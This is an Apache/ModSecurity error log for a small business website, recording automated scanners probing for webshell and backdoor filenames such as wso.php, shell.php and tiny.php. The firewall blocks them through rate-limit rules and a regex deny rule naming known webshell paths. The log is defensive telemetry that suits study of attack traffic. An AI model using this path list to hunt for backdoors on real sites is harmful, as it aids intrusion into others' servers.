[Sat Mar 14 01:09:34.933592 2026] [:error] [pid 47891:tid 47977] [client 4.204.233.55:49227] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chati.php"] [unique_id "abREzvchNnuMqi7I_WHwsAAAAIs"]
[Sat Mar 14 01:09:35.758564 2026] [:error] [pid 47905:tid 48005] [client 4.204.233.55:49528] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chati.php"] [unique_id "abREzxaYZayP4o4wpJcaQwAAAUw"]
[Sat Mar 14 01:09:36.589205 2026] [:error] [pid 47891:tid 47978] [client 4.204.233.55:49510] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chati.php"] [unique_id "abRE0PchNnuMqi7I_WHwtAAAAIw"]
[Sat Mar 14 01:09:37.424156 2026] [:error] [pid 47905:tid 48017] [client 4.204.233.55:49493] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chati.php"] [unique_id "abRE0RaYZayP4o4wpJcaRAAAAVg"]
[Sat Mar 14 02:09:52.873690 2026] [:error] [pid 47905:tid 48007] [client 4.204.233.55:48342] File does not exist: /usr/local/apache/htdocs/suspended-page/NewFile.php
[Sat Mar 14 02:09:53.085562 2026] [:error] [pid 47905:tid 47999] [client 4.204.233.55:48342] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Sat Mar 14 02:09:53.294623 2026] [:error] [pid 47905:tid 48012] [client 4.204.233.55:48342] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sat Mar 14 02:09:53.504829 2026] [:error] [pid 47905:tid 48008] [client 4.204.233.55:48342] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sat Mar 14 02:09:53.714107 2026] [:error] [pid 47905:tid 48005] [client 4.204.233.55:48342] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sat Mar 14 02:09:55.283545 2026] [:error] [pid 47905:tid 48006] [client 4.204.233.55:48342] File does not exist: /usr/local/apache/htdocs/suspended-page/11.php
[Sat Mar 14 02:09:55.492940 2026] [:error] [pid 47905:tid 48001] [client 4.204.233.55:48342] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Sat Mar 14 02:09:55.702677 2026] [:error] [pid 47905:tid 48014] [client 4.204.233.55:48342] File does not exist: /usr/local/apache/htdocs/suspended-page/nux.php
[Sat Mar 14 02:09:55.910104 2026] [:error] [pid 47905:tid 48000] [client 4.204.233.55:48342] File does not exist: /usr/local/apache/htdocs/suspended-page/d.php
[Sat Mar 14 02:09:56.119792 2026] [:error] [pid 47905:tid 47995] [client 4.204.233.55:48342] File does not exist: /usr/local/apache/htdocs/suspended-page/adminer.php
[Sat Mar 14 02:09:56.331786 2026] [:error] [pid 47905:tid 48007] [client 4.204.233.55:48342] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chati.php"] [unique_id "abRS9BaYZayP4o4wpJc0RQAAAU4"]
[Sat Mar 14 02:09:57.154510 2026] [:error] [pid 47891:tid 47969] [client 4.204.233.55:48324] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chati.php"] [unique_id "abRS9fchNnuMqi7I_WELDAAAAIM"]
[Sat Mar 14 02:09:57.979231 2026] [:error] [pid 47891:tid 47975] [client 4.204.233.55:48273] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chati.php"] [unique_id "abRS9fchNnuMqi7I_WELDwAAAIk"]
[Sat Mar 14 02:09:58.806807 2026] [:error] [pid 47891:tid 47988] [client 4.204.233.55:48383] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chati.php"] [unique_id "abRS9vchNnuMqi7I_WELEwAAAJY"]
[Sat Mar 14 03:34:14.054926 2026] [:error] [pid 47891:tid 47979] [client 20.188.34.102:20005] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Sat Mar 14 03:34:14.305439 2026] [:error] [pid 47891:tid 47983] [client 20.188.34.102:20005] File does not exist: /usr/local/apache/htdocs/suspended-page/packed.php
[Sat Mar 14 03:34:14.571102 2026] [:error] [pid 47891:tid 47980] [client 20.188.34.102:20005] File does not exist: /usr/local/apache/htdocs/suspended-page/click.php
[Sat Mar 14 03:34:14.831322 2026] [:error] [pid 47891:tid 47967] [client 20.188.34.102:20005] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Sat Mar 14 03:34:15.079660 2026] [:error] [pid 47891:tid 47972] [client 20.188.34.102:20005] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Sat Mar 14 03:34:15.321705 2026] [:error] [pid 47891:tid 47985] [client 20.188.34.102:20005] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Sat Mar 14 03:34:15.571385 2026] [:error] [pid 47891:tid 47966] [client 20.188.34.102:20005] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php
[Sat Mar 14 03:34:15.941588 2026] [:error] [pid 47891:tid 47988] [client 20.188.34.102:20005] File does not exist: /usr/local/apache/htdocs/suspended-page/network.php
[Sat Mar 14 03:34:16.191373 2026] [:error] [pid 47891:tid 47984] [client 20.188.34.102:20005] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Sat Mar 14 03:34:16.590118 2026] [:error] [pid 47891:tid 47977] [client 20.188.34.102:20005] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Sat Mar 14 03:34:17.067824 2026] [:error] [pid 47891:tid 47978] [client 20.188.34.102:20005] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "abRmufchNnuMqi7I_WE7kAAAAIw"]
[Sat Mar 14 03:34:20.471609 2026] [:error] [pid 47891:tid 47966] [client 20.188.34.102:20322] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "abRmvPchNnuMqi7I_WE7mAAAAIA"]
[Sat Mar 14 03:34:23.842309 2026] [:error] [pid 47891:tid 47980] [client 20.188.34.102:5513] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "abRmv_chNnuMqi7I_WE7oQAAAI4"]
[Sat Mar 14 03:34:28.039698 2026] [:error] [pid 47905:tid 48011] [client 20.188.34.102:20808] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "abRmxBaYZayP4o4wpJdSzwAAAVI"]
[Sat Mar 14 03:34:33.756181 2026] [:error] [pid 47878:tid 47955] [client 20.188.34.102:5376] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "abRmyX8jymmmpr1jcBfLkgAAAFA"]
[Sat Mar 14 03:34:35.856197 2026] [:error] [pid 47891:tid 47979] [client 20.188.34.102:21995] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "abRmy_chNnuMqi7I_WE7rwAAAI0"]
[Sat Mar 14 03:34:37.609888 2026] [:error] [pid 48070:tid 48087] [client 20.188.34.102:28381] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "abRmzUIvrhMS5BVHxNlH5AAAAA8"]
[Sat Mar 14 03:34:38.820259 2026] [:error] [pid 48070:tid 48088] [client 20.188.34.102:19596] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "abRmzkIvrhMS5BVHxNlH6AAAABA"]
[Sat Mar 14 03:34:40.652789 2026] [:error] [pid 47905:tid 47993] [client 20.188.34.102:21970] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lock.php"] [unique_id "abRm0BaYZayP4o4wpJdS4AAAAUA"]
[Sat Mar 14 03:34:42.181579 2026] [:error] [pid 47891:tid 47982] [client 20.188.34.102:29014] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lock.php"] [unique_id "abRm0vchNnuMqi7I_WE7sgAAAJA"]
[Sat Mar 14 03:34:43.788277 2026] [:error] [pid 47905:tid 48005] [client 20.188.34.102:22151] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lock.php"] [unique_id "abRm0xaYZayP4o4wpJdS7QAAAUw"]
[Sat Mar 14 03:34:48.655474 2026] [:error] [pid 48070:tid 48094] [client 20.188.34.102:22639] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lock.php"] [unique_id "abRm2EIvrhMS5BVHxNlH8AAAABY"]
[Sat Mar 14 03:34:50.072774 2026] [:error] [pid 47905:tid 48009] [client 20.188.34.102:29019] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "abRm2haYZayP4o4wpJdTAAAAAVA"]
[Sat Mar 14 03:34:53.520137 2026] [:error] [pid 47891:tid 47979] [client 20.188.34.102:22905] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "abRm3fchNnuMqi7I_WE7xwAAAI0"]
[Sat Mar 14 03:35:01.966593 2026] [:error] [pid 47891:tid 47981] [client 20.188.34.102:20811] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "abRm5fchNnuMqi7I_WE74AAAAI8"]
[Sat Mar 14 03:35:03.309312 2026] [:error] [pid 47891:tid 47989] [client 20.188.34.102:20687] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "abRm5_chNnuMqi7I_WE75wAAAJc"]
[Sat Mar 14 03:35:04.512284 2026] [:error] [pid 47891:tid 47980] [client 20.188.34.102:22013] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin.php"] [unique_id "abRm6PchNnuMqi7I_WE76wAAAI4"]
[Sat Mar 14 03:35:06.665402 2026] [:error] [pid 47891:tid 47983] [client 20.188.34.102:22149] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin.php"] [unique_id "abRm6vchNnuMqi7I_WE78QAAAJE"]
[Sat Mar 14 03:35:08.217596 2026] [:error] [pid 47905:tid 48009] [client 20.188.34.102:28380] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin.php"] [unique_id "abRm7BaYZayP4o4wpJdTHgAAAVA"]
[Sat Mar 14 03:35:09.265584 2026] [:error] [pid 47905:tid 48012] [client 20.188.34.102:5318] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin.php"] [unique_id "abRm7RaYZayP4o4wpJdTJQAAAVM"]
[Sat Mar 14 03:35:10.629294 2026] [:error] [pid 47878:tid 47954] [client 20.188.34.102:21988] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "abRm7n8jymmmpr1jcBfLsgAAAE8"]
[Sat Mar 14 03:35:13.826155 2026] [:error] [pid 48070:tid 48083] [client 20.188.34.102:5356] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "abRm8UIvrhMS5BVHxNlIAgAAAAs"]
[Sat Mar 14 03:35:14.792890 2026] [:error] [pid 47905:tid 48013] [client 20.188.34.102:5355] [client 20.188.34.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "abRm8haYZayP4o4wpJdTNAAAAVQ"]
[Sat Mar 14 03:35:20.923558 2026] [:error] [pid 47878:tid 47946] [client 20.188.34.102:29017] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sat Mar 14 03:35:21.170536 2026] [:error] [pid 47878:tid 47953] [client 20.188.34.102:29017] File does not exist: /usr/local/apache/htdocs/suspended-page/test.php
[Sat Mar 14 03:35:21.682342 2026] [:error] [pid 47878:tid 47952] [client 20.188.34.102:29017] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sat Mar 14 03:35:21.939657 2026] [:error] [pid 47878:tid 47943] [client 20.188.34.102:29017] File does not exist: /usr/local/apache/htdocs/suspended-page/up.php
[Sat Mar 14 03:35:22.327375 2026] [:error] [pid 47878:tid 47944] [client 20.188.34.102:29017] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Sat Mar 14 04:37:02.996298 2026] [:error] [pid 3914:tid 3996] [client 20.104.119.247:3488] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Sat Mar 14 04:37:03.442509 2026] [:error] [pid 3914:tid 3998] [client 20.104.119.247:3488] [client 20.104.119.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.104.119.247, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "abR1b_H_HeUqa_sn9-D50AAAAI4"]
[Sat Mar 14 04:37:03.656281 2026] [:error] [pid 3914:tid 3987] [client 20.104.119.247:3488] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-corn-sample.php
[Sat Mar 14 04:37:04.500497 2026] [:error] [pid 3914:tid 3995] [client 20.104.119.247:3488] File does not exist: /usr/local/apache/htdocs/suspended-page/server.php
[Sat Mar 14 04:37:05.160912 2026] [:error] [pid 3914:tid 3988] [client 20.104.119.247:3488] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Sat Mar 14 04:37:05.369472 2026] [:error] [pid 3914:tid 3985] [client 20.104.119.247:3488] [client 20.104.119.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abR1cfH_HeUqa_sn9-D53AAAAIE"]
[Sat Mar 14 04:37:06.228145 2026] [:error] [pid 3913:tid 3969] [client 20.104.119.247:3501] [client 20.104.119.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abR1ch9qvQd4GQHUp6_yJQAAAEw"]
[Sat Mar 14 04:37:07.141832 2026] [:error] [pid 3914:tid 3989] [client 20.104.119.247:3514] [client 20.104.119.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abR1c_H_HeUqa_sn9-D53gAAAIU"]
[Sat Mar 14 04:37:08.052128 2026] [:error] [pid 3912:tid 3950] [client 20.104.119.247:3459] [client 20.104.119.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abR1dMXFZBK-jpdCvTG-FwAAABc"]
[Sat Mar 14 11:58:42.445001 2026] [:error] [pid 13262:tid 13314] [client 146.190.80.110:49303] [client 146.190.80.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "abTc8jAdvM7ft5BXQ2d4yAAAAZU"]
[Sat Mar 14 11:58:42.620590 2026] [:error] [pid 35801:tid 35818] [client 146.190.80.110:49337] [client 146.190.80.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "abTc8m8tVFelXGsqbU_3LAAAAQ4"]
[Sat Mar 14 11:58:42.795980 2026] [:error] [pid 53961:tid 53986] [client 146.190.80.110:49366] [client 146.190.80.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/feed/"] [unique_id "abTc8tczYH1OqY7y2cOSjQAAAdY"]
[Sat Mar 14 13:17:30.907313 2026] [:error] [pid 13261:tid 13281] [client 194.61.40.18:51179] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Sat Mar 14 13:17:31.161332 2026] [:error] [pid 13261:tid 13273] [client 194.61.40.18:51179] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Sat Mar 14 13:17:31.406987 2026] [:error] [pid 13261:tid 13286] [client 194.61.40.18:51179] [client 194.61.40.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "abTva_DFVxjWSW61p5kYzQAAANQ"]
[Sat Mar 14 13:17:31.959649 2026] [:error] [pid 35801:tid 35809] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Sat Mar 14 13:17:32.255652 2026] [:error] [pid 35801:tid 35824] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Sat Mar 14 13:17:32.547748 2026] [:error] [pid 35801:tid 35827] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Sat Mar 14 13:17:32.820136 2026] [:error] [pid 35801:tid 35810] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Sat Mar 14 13:17:33.080119 2026] [:error] [pid 35801:tid 35819] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sat Mar 14 13:17:33.338781 2026] [:error] [pid 35801:tid 35821] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sat Mar 14 13:17:33.664038 2026] [:error] [pid 35801:tid 35818] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Sat Mar 14 13:17:33.918553 2026] [:error] [pid 35801:tid 35814] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Sat Mar 14 13:17:34.219710 2026] [:error] [pid 35801:tid 35820] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Sat Mar 14 13:17:34.508735 2026] [:error] [pid 35801:tid 35816] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Sat Mar 14 13:17:34.758924 2026] [:error] [pid 35801:tid 35811] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Sat Mar 14 13:17:35.098350 2026] [:error] [pid 35801:tid 35807] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Sat Mar 14 13:17:35.430039 2026] [:error] [pid 35801:tid 35804] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Sat Mar 14 13:17:35.679331 2026] [:error] [pid 35801:tid 35809] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sat Mar 14 13:17:35.937941 2026] [:error] [pid 35801:tid 35827] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-api.php
[Sat Mar 14 13:17:36.202784 2026] [:error] [pid 35801:tid 35810] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Sat Mar 14 13:17:36.499675 2026] [:error] [pid 35801:tid 35819] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Sat Mar 14 13:17:36.805292 2026] [:error] [pid 35801:tid 35821] [client 194.61.40.53:53797] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
